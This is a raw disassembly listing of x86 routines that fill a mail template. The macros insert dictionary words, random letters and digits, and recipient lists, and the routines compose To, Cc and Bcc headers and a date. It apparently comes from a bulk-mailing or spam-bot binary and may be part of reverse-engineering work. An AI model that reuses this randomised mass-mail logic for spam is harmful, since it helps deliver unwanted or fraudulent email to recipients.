push ebx
push 1
lea ecx, [ebp-7Ch]
call sub_4013C4
lea eax, [ebp-34h]
mov [ebp-4], bl
call sub_4096EB
lea eax, [ebp-28h]
mov [ebp-4], esi
call sub_4096B6
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 18h
sub_408593 endp
; ---------------------------------------------------------------------------
loc_4089C0: ; CODE XREF: .vty:0041B35Aj
push ecx
call sub_4096B6
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4089C8: ; CODE XREF: .vty:0041B362j
push ecx
call sub_4096EB
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4089D0: ; CODE XREF: .vty:0041B3A0j
; .vty:0041B507j ...
push esi
lea esi, [edi+1Ch]
call sub_405AAC
push 0
push 1
mov ecx, edi
call sub_4013C4
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_4089E6 proc near ; CODE XREF: sub_408593+265p
; sub_408593+317p ...
mov eax, offset loc_41B1B1
call sub_41AE44
sub esp, 84h
and dword ptr [ebp-14h], 0
push ebx
push esi
mov esi, [ebp+8]
push edi
call sub_4012E2
and dword ptr [ebp-4], 0
mov ebx, [ebp+18h]
xor eax, eax
mov dword ptr [ebp-14h], 1
xor esi, esi
call sub_4094C5
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_408E05
jmp short loc_408A2C
; ---------------------------------------------------------------------------
loc_408A29: ; CODE XREF: sub_4089E6+419j
mov ebx, [ebp-10h]
loc_408A2C: ; CODE XREF: sub_4089E6+41j
mov eax, ebx
sub eax, esi
push eax
push esi
push dword ptr [ebp+18h]
lea esi, [ebp-78h]
call sub_405527
xor edi, edi
inc edi
push 0FFFFFFFFh
mov [ebp-4], edi
mov esi, [ebp+8]
push 0
call sub_401F95
push 0
push edi
lea ecx, [ebp-78h]
call sub_4013C4
mov esi, [ebp+18h]
mov edi, ebx
mov eax, esi
call sub_4012F5
mov al, [eax]
push 0
lea ecx, [ebp-54h]
mov [ebp-28h], al
mov dword ptr [ebp-3Ch], 0Fh
call sub_401564
inc ebx
mov dword ptr [ebp-4], 2
cmp ebx, [esi+14h]
mov [ebp-10h], ebx
jnb short loc_408ADD
loc_408A8C: ; CODE XREF: sub_4089E6+F5j
mov edi, ebx
mov eax, esi
call sub_4012F5
movsx eax, byte ptr [eax]
push eax
call sub_410004
test eax, eax
pop ecx
jnz short loc_408AAF
mov eax, esi
call sub_4012F5
cmp byte ptr [eax], 5Fh
jnz short loc_408ADD
loc_408AAF: ; CODE XREF: sub_4089E6+BBj
mov edi, ebx
mov eax, esi
call sub_4012F5
mov al, [eax]
mov [ebp-58h], al
push dword ptr [ebp-58h]
xor ebx, ebx
inc ebx
lea esi, [ebp-54h]
call sub_40140F
inc dword ptr [ebp-10h]
mov eax, [ebp+18h]
mov ecx, [ebp-10h]
cmp ecx, [eax+14h]
mov ebx, ecx
mov esi, eax
jb short loc_408A8C
loc_408ADD: ; CODE XREF: sub_4089E6+A4j
; sub_4089E6+C7j
cmp byte ptr [ebp-28h], 23h
jnz loc_408CC2
xor eax, eax
mov [ebp-20h], eax
mov [ebp-1Ch], eax
mov [ebp-18h], eax
mov byte ptr [ebp-4], 3
cmp ebx, [esi+14h]
jnb loc_408BAC
mov edi, ebx
mov eax, esi
call sub_4012F5
cmp byte ptr [eax], 28h
jnz loc_408BAC
loc_408B11: ; CODE XREF: sub_4089E6+1BCj
push 0
lea ecx, [ebp-78h]
mov dword ptr [ebp-60h], 0Fh
call sub_401564
inc ebx
mov byte ptr [ebp-4], 4
cmp ebx, [esi+14h]
mov [ebp-10h], ebx
jnb short loc_408B75
loc_408B2F: ; CODE XREF: sub_4089E6+18Dj
mov edi, ebx
mov eax, esi
call sub_4012F5
cmp byte ptr [eax], 2Ch
jz short loc_408B75
mov eax, esi
call sub_4012F5
cmp byte ptr [eax], 29h
jz short loc_408B75
mov eax, esi
call sub_4012F5
mov al, [eax]
mov [ebp-5Ch], al
push dword ptr [ebp-5Ch]
xor ebx, ebx
inc ebx
lea esi, [ebp-78h]
call sub_40140F
inc dword ptr [ebp-10h]
mov eax, [ebp+18h]
mov ecx, [ebp-10h]
cmp ecx, [eax+14h]
mov ebx, ecx
mov esi, eax
jb short loc_408B2F
loc_408B75: ; CODE XREF: sub_4089E6+147j
; sub_4089E6+155j ...
lea eax, [ebp-78h]
push eax
lea eax, [ebp-24h]
call sub_409560
push 0
push 1
lea ecx, [ebp-78h]
mov byte ptr [ebp-4], 3
call sub_4013C4
mov edi, ebx
mov eax, esi
call sub_4012F5
cmp byte ptr [eax], 29h
jz short loc_408BA8
cmp ebx, [esi+14h]
jb loc_408B11
loc_408BA8: ; CODE XREF: sub_4089E6+1B7j
inc ebx
mov [ebp-10h], ebx
loc_408BAC: ; CODE XREF: sub_4089E6+113j
; sub_4089E6+125j
push offset aDict ; "DICT"
lea esi, [ebp-54h]
call sub_406A6D
test al, al
pop ecx
jz short loc_408BC5
push offset dword_41E020
jmp short loc_408BF5
; ---------------------------------------------------------------------------
loc_408BC5: ; CODE XREF: sub_4089E6+1D6j
push offset aDict_sp ; "DICT_SP"
lea esi, [ebp-54h]
call sub_406A6D
test al, al
pop ecx
jz short loc_408BDE
push offset asc_41EC4C ; " "
jmp short loc_408BF5
; ---------------------------------------------------------------------------
loc_408BDE: ; CODE XREF: sub_4089E6+1EFj
push offset aDict_nl ; "DICT_NL"
lea esi, [ebp-54h]
call sub_406A6D
test al, al
pop ecx
jz short loc_408C09
push offset asc_41EBE8 ; "\r\n"
loc_408BF5: ; CODE XREF: sub_4089E6+1DDj
; sub_4089E6+1F6j
lea eax, [ebp-24h]
push eax
push dword ptr [ebp+8]
mov eax, [ebp+10h]
call sub_408E4C
jmp loc_408CB1
; ---------------------------------------------------------------------------
loc_408C09: ; CODE XREF: sub_4089E6+208j
push offset aRand_num ; "RAND_NUM"
lea esi, [ebp-54h]
call sub_406A6D
test al, al
pop ecx
jz short loc_408C22
push offset a0123456789 ; "0123456789"
jmp short loc_408C84
; ---------------------------------------------------------------------------
loc_408C22: ; CODE XREF: sub_4089E6+233j
push offset aRand_char_lc ; "RAND_CHAR_LC"
lea esi, [ebp-54h]
call sub_406A6D
test al, al
pop ecx
jz short loc_408C3B
push offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz"
jmp short loc_408C84
; ---------------------------------------------------------------------------
loc_408C3B: ; CODE XREF: sub_4089E6+24Cj
push offset aRand_char_uc ; "RAND_CHAR_UC"
lea esi, [ebp-54h]
call sub_406A6D
test al, al
pop ecx
jz short loc_408C54
push offset aAbcdefghijkl_0 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
jmp short loc_408C84
; ---------------------------------------------------------------------------
loc_408C54: ; CODE XREF: sub_4089E6+265j
push offset aRand_char_mc ; "RAND_CHAR_MC"
lea esi, [ebp-54h]
call sub_406A6D
test al, al
pop ecx
jz short loc_408C6D
push offset aAbcdefghijkl_1 ; "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM"...
jmp short loc_408C84
; ---------------------------------------------------------------------------
loc_408C6D: ; CODE XREF: sub_4089E6+27Ej
push offset aRand_char_num ; "RAND_CHAR_NUM"
lea esi, [ebp-54h]
call sub_406A6D
test al, al
pop ecx
jz short loc_408C91
push offset aAbcdefghijkl_2 ; "abcdefghijklmnopqrstuvwxyz0123456789"
loc_408C84: ; CODE XREF: sub_4089E6+23Aj
; sub_4089E6+253j ...
push dword ptr [ebp+8]
lea eax, [ebp-24h]
call sub_408F69
jmp short loc_408CB1
; ---------------------------------------------------------------------------
loc_408C91: ; CODE XREF: sub_4089E6+297j
push offset aRecipients ; "RECIPIENTS"
lea esi, [ebp-54h]
call sub_406A6D
test al, al
pop ecx
jz short loc_408CB1
push dword ptr [ebp+14h]
lea eax, [ebp-24h]
push dword ptr [ebp+8]
call sub_409016
loc_408CB1: ; CODE XREF: sub_4089E6+21Ej
; sub_4089E6+2A9j ...
lea esi, [ebp-24h]
mov byte ptr [ebp-4], 2
call sub_405AAC
jmp loc_408DB0
; ---------------------------------------------------------------------------
loc_408CC2: ; CODE XREF: sub_4089E6+FBj
mov esi, [ebp+0Ch]
lea eax, [ebp-54h]
push eax
mov eax, esi
call sub_40A70C
test esi, esi
mov [ebp-34h], eax
jnz short loc_408CDC
call sub_40DCFC
loc_408CDC: ; CODE XREF: sub_4089E6+2EFj
mov eax, [esi+4]
mov [ebp-38h], esi
mov [ebp-90h], esi
lea edi, [ebp-90h]
lea esi, [ebp-38h]
mov [ebp-8Ch], eax
call sub_40989F
test al, al
jnz short loc_408D19
mov ecx, [ebp-34h]
add ecx, 0Ch
lea eax, [ebp-54h]
call sub_409C4D
test al, al
jnz short loc_408D19
mov eax, [ebp+0Ch]
mov ecx, esi
jmp short loc_408D28
; ---------------------------------------------------------------------------
loc_408D19: ; CODE XREF: sub_4089E6+318j
; sub_4089E6+32Aj
mov eax, [ebp+0Ch]
mov ecx, [eax+4]
mov [ebp-7Ch], ecx
mov [ebp-80h], eax
lea ecx, [ebp-80h]
loc_408D28: ; CODE XREF: sub_4089E6+331j
mov edx, [ecx]
mov ecx, [ecx+4]
mov [ebp-2Ch], ecx
mov ecx, [eax+4]
lea edi, [ebp-88h]
lea esi, [ebp-30h]
mov [ebp-30h], edx
mov [ebp-84h], ecx
mov [ebp-88h], eax
call sub_40989F
test al, al
jz short loc_408D6B
push offset dword_41E020
lea ecx, [ebp-78h]
call sub_401C44
mov byte ptr [ebp-4], 5
or dword ptr [ebp-14h], 2
jmp short loc_408D87
; ---------------------------------------------------------------------------
loc_408D6B: ; CODE XREF: sub_4089E6+36Cj
mov edi, [ebp-30h]
test edi, edi
jnz short loc_408D77
call sub_40DCFC
loc_408D77: ; CODE XREF: sub_4089E6+38Aj
mov esi, [ebp-2Ch]
cmp esi, [edi+4]
jnz short loc_408D84
call sub_40DCFC
loc_408D84: ; CODE XREF: sub_4089E6+397j
lea eax, [esi+28h]
loc_408D87: ; CODE XREF: sub_4089E6+383j
mov esi, [ebp+8]
push 0FFFFFFFFh
push 0
call sub_401F95
mov dword ptr [ebp-4], 2
test byte ptr [ebp-14h], 2
jz short loc_408DB0
and dword ptr [ebp-14h], 0FFFFFFFDh
push 0
push 1
lea ecx, [ebp-78h]
call sub_4013C4
loc_408DB0: ; CODE XREF: sub_4089E6+2D7j
; sub_4089E6+3B8j
mov eax, [ebp+18h]
cmp ebx, [eax+14h]
jnb short loc_408DDC
mov edi, ebx
call sub_4012F5
cmp byte ptr [eax], 3Bh
jnz short loc_408DDC
cmp dword ptr [ebp-40h], 0
jnz short loc_408DDB
push dword ptr [ebp-28h]
mov esi, [ebp+8]
xor ebx, ebx
inc ebx
call sub_40140F
mov ebx, [ebp-10h]
loc_408DDB: ; CODE XREF: sub_4089E6+3E2j
inc ebx
loc_408DDC: ; CODE XREF: sub_4089E6+3D0j
; sub_4089E6+3DCj
mov eax, ebx
mov esi, ebx
mov ebx, [ebp+18h]
call sub_4094C5
push 0
push 1
lea ecx, [ebp-54h]
mov [ebp-10h], eax
mov byte ptr [ebp-4], 0
call sub_4013C4
cmp dword ptr [ebp-10h], 0FFFFFFFFh
jnz loc_408A29
loc_408E05: ; CODE XREF: sub_4089E6+3Bj
mov eax, [ebp+18h]
cmp esi, [eax+14h]
jnb short loc_408E38
push 0FFFFFFFFh
push esi
push eax
lea esi, [ebp-78h]
call sub_405527
push 0FFFFFFFFh
mov dword ptr [ebp-4], 6
mov esi, [ebp+8]
push 0
call sub_401F95
push 0
push 1
lea ecx, [ebp-78h]
call sub_4013C4
loc_408E38: ; CODE XREF: sub_4089E6+425j
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 14h
sub_4089E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E4C proc near ; CODE XREF: sub_4089E6+219p
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
mov edi, eax
mov eax, esi
call sub_4057B6
test eax, eax
jz loc_408F62
push 0
call sub_409541
push eax
lea eax, [ebp+var_18]
push eax
call sub_4097C7
mov ecx, [eax]
test ecx, ecx
mov ebx, [eax+4]
mov esi, [edi+4]
mov [ebp+var_10], ecx
jz short loc_408E8D
cmp ecx, edi
jz short loc_408E92
loc_408E8D: ; CODE XREF: sub_408E4C+3Bj
call sub_40DCFC
loc_408E92: ; CODE XREF: sub_408E4C+3Fj
cmp ebx, esi
jz loc_408F62
mov eax, [ebp+arg_4]
xor edi, edi
inc edi
mov [ebp+var_8], edi
call sub_4057B6
cmp eax, edi
jbe short loc_408EF7
mov esi, [ebp+arg_4]
push edi
call sub_409541
cmp dword ptr [eax+18h], 10h
jb short loc_408EC0
mov eax, [eax+4]
jmp short loc_408EC3
; ---------------------------------------------------------------------------
loc_408EC0: ; CODE XREF: sub_408E4C+6Dj
add eax, 4
loc_408EC3: ; CODE XREF: sub_408E4C+72j
push eax
call sub_410040
mov [ebp+var_8], eax
pop ecx
mov eax, esi
call sub_4057B6
cmp eax, 2
jbe short loc_408EF7
push 2
call sub_409541
cmp dword ptr [eax+18h], 10h
jb short loc_408EEB
mov eax, [eax+4]
jmp short loc_408EEE
; ---------------------------------------------------------------------------
loc_408EEB: ; CODE XREF: sub_408E4C+98j
add eax, 4
loc_408EEE: ; CODE XREF: sub_408E4C+9Dj
push eax
call sub_410040
pop ecx
mov edi, eax
loc_408EF7: ; CODE XREF: sub_408E4C+5Ej
; sub_408E4C+8Bj
call sub_40FA86
sub edi, [ebp+var_8]
cdq
inc edi
idiv edi
mov edi, edx
add edi, [ebp+var_8]
jz short loc_408F62
loc_408F0A: ; CODE XREF: sub_408E4C+114j
mov esi, [ebp+var_10]
dec edi
test esi, esi
jnz short loc_408F17
call sub_40DCFC
loc_408F17: ; CODE XREF: sub_408E4C+C4j
cmp ebx, [esi+4]
jnz short loc_408F2B
call sub_40DCFC
cmp ebx, [esi+4]
jnz short loc_408F2B
call sub_40DCFC
loc_408F2B: ; CODE XREF: sub_408E4C+CEj
; sub_408E4C+D8j
lea eax, [ebx+28h]
call sub_4057B6
mov esi, eax
call sub_40FA86
xor edx, edx
div esi
lea esi, [ebx+28h]
push edx
call sub_409541
mov esi, [ebp+arg_0]
push 0FFFFFFFFh
push 0
call sub_401F95
test edi, edi
jz short loc_408F62
push [ebp+arg_8]
push esi
call sub_401C66
jmp short loc_408F0A
; ---------------------------------------------------------------------------
loc_408F62: ; CODE XREF: sub_408E4C+17j
; sub_408E4C+48j ...
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_408E4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408F69 proc near ; CODE XREF: sub_4089E6+2A4p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push [ebp+arg_4]
mov esi, eax
call sub_40D970
xor ebx, ebx
mov [ebp+var_8], eax
inc ebx
pop ecx
mov eax, esi
mov edi, ebx
mov [ebp+var_4], ebx
call sub_4057B6
test eax, eax
jbe short loc_408FD9
push 0
call sub_409541
cmp dword ptr [eax+18h], 10h
jb short loc_408FA4
mov eax, [eax+4]
jmp short loc_408FA7
; ---------------------------------------------------------------------------
loc_408FA4: ; CODE XREF: sub_408F69+34j
add eax, 4
loc_408FA7: ; CODE XREF: sub_408F69+39j
push eax
call sub_410040
mov [ebp+var_4], eax
pop ecx
mov eax, esi
call sub_4057B6
cmp eax, ebx
jbe short loc_408FD9
push ebx
call sub_409541
cmp dword ptr [eax+18h], 10h
jb short loc_408FCD
mov eax, [eax+4]
jmp short loc_408FD0
; ---------------------------------------------------------------------------
loc_408FCD: ; CODE XREF: sub_408F69+5Dj
add eax, 4
loc_408FD0: ; CODE XREF: sub_408F69+62j
push eax
call sub_410040
pop ecx
mov edi, eax
loc_408FD9: ; CODE XREF: sub_408F69+27j
; sub_408F69+51j
call sub_40FA86
sub edi, [ebp+var_4]
cdq
inc edi
idiv edi
mov edi, edx
add edi, [ebp+var_4]
jz short loc_40900F
loc_408FEC: ; CODE XREF: sub_408F69+A4j
dec edi
call sub_40FA86
xor edx, edx
div [ebp+var_8]
mov eax, [ebp+arg_4]
mov esi, [ebp+arg_0]
mov al, [edx+eax]
mov byte ptr [ebp+var_4], al
push [ebp+var_4]
call sub_40140F
test edi, edi
jnz short loc_408FEC
loc_40900F: ; CODE XREF: sub_408F69+81j
pop edi
pop esi
pop ebx
leave
retn 8
sub_408F69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409016 proc near ; CODE XREF: sub_4089E6+2C6p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
mov edi, [ebx+4]
cmp edi, [ebx+8]
mov esi, eax
jbe short loc_409031
call sub_40DCFC
loc_409031: ; CODE XREF: sub_409016+14j
mov [ebp+var_14], edi
xor edi, edi
mov eax, esi
mov [ebp+var_18], ebx
mov [ebp+var_8], edi
mov [ebp+var_C], edi
mov [ebp+var_10], edi
call sub_4057B6
test eax, eax
jbe short loc_40906B
push edi
call sub_409541
cmp dword ptr [eax+18h], 10h
jb short loc_40905E
mov eax, [eax+4]
jmp short loc_409061
; ---------------------------------------------------------------------------
loc_40905E: ; CODE XREF: sub_409016+41j
add eax, 4
loc_409061: ; CODE XREF: sub_409016+46j
push eax
call sub_410040
pop ecx
mov [ebp+var_8], eax
loc_40906B: ; CODE XREF: sub_409016+35j
mov eax, esi
call sub_4057B6
cmp eax, 1
jbe short loc_409096
push 1
call sub_409541
cmp dword ptr [eax+18h], 10h
jb short loc_409089
mov eax, [eax+4]
jmp short loc_40908C
; ---------------------------------------------------------------------------
loc_409089: ; CODE XREF: sub_409016+6Cj
add eax, 4
loc_40908C: ; CODE XREF: sub_409016+71j
push eax
call sub_410040
pop ecx
mov [ebp+var_C], eax
loc_409096: ; CODE XREF: sub_409016+5Fj
mov eax, esi
call sub_4057B6
cmp eax, 2
jbe short loc_4090C1
push 2
call sub_409541
cmp dword ptr [eax+18h], 10h
jb short loc_4090B4
mov eax, [eax+4]
jmp short loc_4090B7
; ---------------------------------------------------------------------------
loc_4090B4: ; CODE XREF: sub_409016+97j
add eax, 4
loc_4090B7: ; CODE XREF: sub_409016+9Cj
push eax
call sub_410040
pop ecx
mov [ebp+var_10], eax
loc_4090C1: ; CODE XREF: sub_409016+8Aj
cmp [ebp+var_8], edi
jle loc_40919B
mov esi, [ebx+8]
cmp [ebx+4], esi
jbe short loc_4090D7
call sub_40DCFC
loc_4090D7: ; CODE XREF: sub_409016+BAj
mov [ebp+var_1C], esi
lea edi, [ebp+var_20]
lea esi, [ebp+var_18]
mov [ebp+var_20], ebx
call sub_407BB6
test al, al
jz loc_40919B
push offset aTo ; "To: "
push [ebp+arg_0]
call sub_401C66
mov [ebp+var_1], 1
mov [ebp+var_20], ebx
loc_409104: ; CODE XREF: sub_409016+180j
mov esi, [ebx+8]
cmp [ebx+4], esi
jbe short loc_409111
call sub_40DCFC
loc_409111: ; CODE XREF: sub_409016+F4j
mov [ebp+var_1C], esi
lea edi, [ebp+var_20]
lea esi, [ebp+var_18]
call sub_407BB6
test al, al
jz short loc_40919B
dec [ebp+var_8]
js short loc_40919B
cmp [ebp+var_1], 0
jnz short loc_40913D
push offset asc_41ED40 ; ", "
push [ebp+arg_0]
call sub_401C66
jmp short loc_409141
; ---------------------------------------------------------------------------
loc_40913D: ; CODE XREF: sub_409016+116j
mov [ebp+var_1], 0
loc_409141: ; CODE XREF: sub_409016+125j
mov edi, [ebp+arg_0]
xor ebx, ebx
push 3Ch
inc ebx
mov esi, edi
call sub_40140F
lea esi, [ebp+var_18]
call sub_409835
mov eax, [eax]
push 0FFFFFFFFh
push 0
mov esi, edi
call sub_401F95
push 40h
call sub_40140F
lea esi, [ebp+var_18]
call sub_409835
mov eax, [eax]
push 0FFFFFFFFh
add eax, 1Ch
push 0
mov esi, edi
call sub_401F95
push 3Eh
call sub_40140F
lea esi, [ebp+var_18]
call sub_407BD3
mov ebx, [ebp+arg_4]
jmp loc_409104
; ---------------------------------------------------------------------------
loc_40919B: ; CODE XREF: sub_409016+AEj
; sub_409016+D4j ...
cmp [ebp+var_C], 0
jle loc_409276
mov esi, [ebx+8]
cmp [ebx+4], esi
jbe short loc_4091B2
call sub_40DCFC
loc_4091B2: ; CODE XREF: sub_409016+195j
mov [ebp+var_1C], esi
lea edi, [ebp+var_20]
lea esi, [ebp+var_18]
mov [ebp+var_20], ebx
call sub_407BB6
test al, al
jz loc_409276
push offset aCc ; "\r\nCc: "
push [ebp+arg_0]
call sub_401C66
mov [ebp+var_1], 1
mov [ebp+var_20], ebx
loc_4091DF: ; CODE XREF: sub_409016+25Bj
mov esi, [ebx+8]
cmp [ebx+4], esi
jbe short loc_4091EC
call sub_40DCFC
loc_4091EC: ; CODE XREF: sub_409016+1CFj
mov [ebp+var_1C], esi
lea edi, [ebp+var_20]
lea esi, [ebp+var_18]
call sub_407BB6
test al, al
jz short loc_409276
dec [ebp+var_C]
js short loc_409276
cmp [ebp+var_1], 0
jnz short loc_409218
push offset asc_41ED40 ; ", "
push [ebp+arg_0]
call sub_401C66
jmp short loc_40921C
; ---------------------------------------------------------------------------
loc_409218: ; CODE XREF: sub_409016+1F1j
mov [ebp+var_1], 0
loc_40921C: ; CODE XREF: sub_409016+200j
mov edi, [ebp+arg_0]
xor ebx, ebx
push 3Ch
inc ebx
mov esi, edi
call sub_40140F
lea esi, [ebp+var_18]
call sub_409835
mov eax, [eax]
push 0FFFFFFFFh
push 0
mov esi, edi
call sub_401F95
push 40h
call sub_40140F
lea esi, [ebp+var_18]
call sub_409835
mov eax, [eax]
push 0FFFFFFFFh
add eax, 1Ch
push 0
mov esi, edi
call sub_401F95
push 3Eh
call sub_40140F
lea esi, [ebp+var_18]
call sub_407BD3
mov ebx, [ebp+arg_4]
jmp loc_4091DF
; ---------------------------------------------------------------------------
loc_409276: ; CODE XREF: sub_409016+189j
; sub_409016+1AFj ...
cmp [ebp+var_10], 0
jle loc_409351
mov esi, [ebx+8]
cmp [ebx+4], esi
jbe short loc_40928D
call sub_40DCFC
loc_40928D: ; CODE XREF: sub_409016+270j
mov [ebp+var_1C], esi
lea edi, [ebp+var_20]
lea esi, [ebp+var_18]
mov [ebp+var_20], ebx
call sub_407BB6
test al, al
jz loc_409351
push offset aBcc ; "\r\nBcc: "
push [ebp+arg_0]
call sub_401C66
mov [ebp+var_1], 1
mov [ebp+var_20], ebx
loc_4092BA: ; CODE XREF: sub_409016+336j
mov esi, [ebx+8]
cmp [ebx+4], esi
jbe short loc_4092C7
call sub_40DCFC
loc_4092C7: ; CODE XREF: sub_409016+2AAj
mov [ebp+var_1C], esi
lea edi, [ebp+var_20]
lea esi, [ebp+var_18]
call sub_407BB6
test al, al
jz short loc_409351
dec [ebp+var_10]
js short loc_409351
cmp [ebp+var_1], 0
jnz short loc_4092F3
push offset asc_41ED40 ; ", "
push [ebp+arg_0]
call sub_401C66
jmp short loc_4092F7
; ---------------------------------------------------------------------------
loc_4092F3: ; CODE XREF: sub_409016+2CCj
mov [ebp+var_1], 0
loc_4092F7: ; CODE XREF: sub_409016+2DBj
mov edi, [ebp+arg_0]
xor ebx, ebx
push 3Ch
inc ebx
mov esi, edi
call sub_40140F
lea esi, [ebp+var_18]
call sub_409835
mov eax, [eax]
push 0FFFFFFFFh
push 0
mov esi, edi
call sub_401F95
push 40h
call sub_40140F
lea esi, [ebp+var_18]
call sub_409835
mov eax, [eax]
push 0FFFFFFFFh
add eax, 1Ch
push 0
mov esi, edi
call sub_401F95
push 3Eh
call sub_40140F
lea esi, [ebp+var_18]
call sub_407BD3
mov ebx, [ebp+arg_4]
jmp loc_4092BA
; ---------------------------------------------------------------------------
loc_409351: ; CODE XREF: sub_409016+264j
; sub_409016+28Aj ...
pop edi
pop esi
pop ebx
leave
retn 8
sub_409016 endp
; =============== S U B R O U T I N E =======================================
sub_409358 proc near ; CODE XREF: sub_408593+7Bp
mov eax, offset loc_41AFDA
call sub_41AE44
sub esp, 0E0h
lea eax, [ebp-1Ch]
push eax
call dword_41C0DC ; GetLocalTime
lea eax, [ebp-0E8h]
push eax
call dword_41C0D8 ; GetTimeZoneInformation
push dword ptr [ebp-0E8h]
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-38h]
push eax
call sub_40D2A0
add esp, 0Ch
mov ecx, [ebp+8]
and dword ptr [ebp-4], 0
push 0FFFFFFFFh
push 0
push eax
call sub_401315
push 0
push 1
lea ecx, [ebp-38h]
call sub_4013C4
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
leave
retn 4
sub_409358 endp
; =============== S U B R O U T I N E =======================================
sub_4093C0 proc near ; CODE XREF: sub_4081BF+1F9p
; sub_4081BF+386p ...
mov eax, offset loc_41B10D
call sub_41AE44
sub esp, 1Ch
push ebx
push dword ptr [edi]
push offset asc_41EBE8 ; "\r\n"
push dword ptr [ebp+0Ch]
call sub_401C81
mov ebx, eax
mov eax, [edi]
cmp eax, 0FFFFFFFFh
jz short loc_409429
push esi
mov ecx, ebx
sub ecx, eax
push ecx
push eax
push dword ptr [ebp+0Ch]
lea esi, [ebp-28h]
call sub_405527
mov ecx, [ebp+8]
push 0FFFFFFFFh
xor esi, esi
push esi
push eax
mov [ebp-4], esi
call sub_401315
push esi
push 1
lea ecx, [ebp-28h]
call sub_4013C4
cmp ebx, 0FFFFFFFFh
pop esi
jz short loc_409427
push offset asc_41EBE8 ; "\r\n"
call sub_40D970
pop ecx
add ebx, eax
loc_409427: ; CODE XREF: sub_4093C0+58j
mov [edi], ebx
loc_409429: ; CODE XREF: sub_4093C0+24j
mov eax, [edi]
mov ecx, [ebp+0Ch]
cmp [ecx+14h], eax
mov ecx, [ebp-0Ch]
sbb eax, eax
inc eax
pop ebx
mov large fs:0, ecx
leave
retn
sub_4093C0 endp
; =============== S U B R O U T I N E =======================================
sub_409441 proc near ; CODE XREF: sub_4081BF+2Fp
mov eax, offset loc_41AF5A
call sub_41AE44
push ecx
push ecx
push ebx
push esi
mov esi, [ebp+8]
push edi
xor edi, edi
mov [ebp-10h], edi
call sub_4012E2
mov ebx, [ebp+0Ch]
mov [ebp-4], edi
cmp [ebx+14h], edi
mov dword ptr [ebp-10h], 1
jbe short loc_4094B4
loc_40946F: ; CODE XREF: sub_409441+71j
mov eax, ebx
call sub_4012F5
cmp byte ptr [eax], 0Ah
jnz short loc_409488
push offset asc_41EBE8 ; "\r\n"
push esi
call sub_401C66
jmp short loc_4094AE
; ---------------------------------------------------------------------------
loc_409488: ; CODE XREF: sub_409441+38j
mov eax, ebx
call sub_4012F5
cmp byte ptr [eax], 0Dh
jz short loc_4094AE
mov eax, ebx
call sub_4012F5
mov al, [eax]
mov [ebp-14h], al
push dword ptr [ebp-14h]
xor ebx, ebx
inc ebx
call sub_40140F
mov ebx, [ebp+0Ch]
loc_4094AE: ; CODE XREF: sub_409441+45j
; sub_409441+51j
inc edi
cmp edi, [ebx+14h]
jb short loc_40946F
loc_4094B4: ; CODE XREF: sub_409441+2Cj
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_409441 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4094C5 proc near ; CODE XREF: sub_4089E6+31p
; sub_4089E6+3FDp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push offset asc_41EC38 ; "#$"
mov esi, eax
call sub_40D970
test eax, eax
pop ecx
mov [ebp+var_4], eax
jbe short loc_40952C
mov ecx, [ebx+14h]
cmp esi, ecx
jnb short loc_40952C
mov edx, [ebx+18h]
cmp edx, 10h
lea edi, [ebx+4]
jb short loc_4094F6
mov eax, [edi]
jmp short loc_4094F8
; ---------------------------------------------------------------------------
loc_4094F6: ; CODE XREF: sub_4094C5+2Bj
mov eax, edi
loc_4094F8: ; CODE XREF: sub_4094C5+2Fj
add eax, ecx
cmp edx, 10h
mov [ebp+var_8], eax
jb short loc_409506
mov ecx, [edi]
jmp short loc_409508
; ---------------------------------------------------------------------------
loc_409506: ; CODE XREF: sub_4094C5+3Bj
mov ecx, edi
loc_409508: ; CODE XREF: sub_4094C5+3Fj
add esi, ecx
cmp esi, eax
jnb short loc_40952C
loc_40950E: ; CODE XREF: sub_4094C5+65j
movsx eax, byte ptr [esi]
push [ebp+var_4]
push eax
push offset asc_41EC38 ; "#$"
call sub_40F560
add esp, 0Ch
test eax, eax
jnz short loc_409533
inc esi
cmp esi, [ebp+var_8]
jb short loc_40950E
loc_40952C: ; CODE XREF: sub_4094C5+19j
; sub_4094C5+20j ...
or eax, 0FFFFFFFFh
loc_40952F: ; CODE XREF: sub_4094C5+7Aj
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_409533: ; CODE XREF: sub_4094C5+5Fj
cmp dword ptr [ebx+18h], 10h
jb short loc_40953B
mov edi, [edi]
loc_40953B: ; CODE XREF: sub_4094C5+72j
sub esi, edi
mov eax, esi
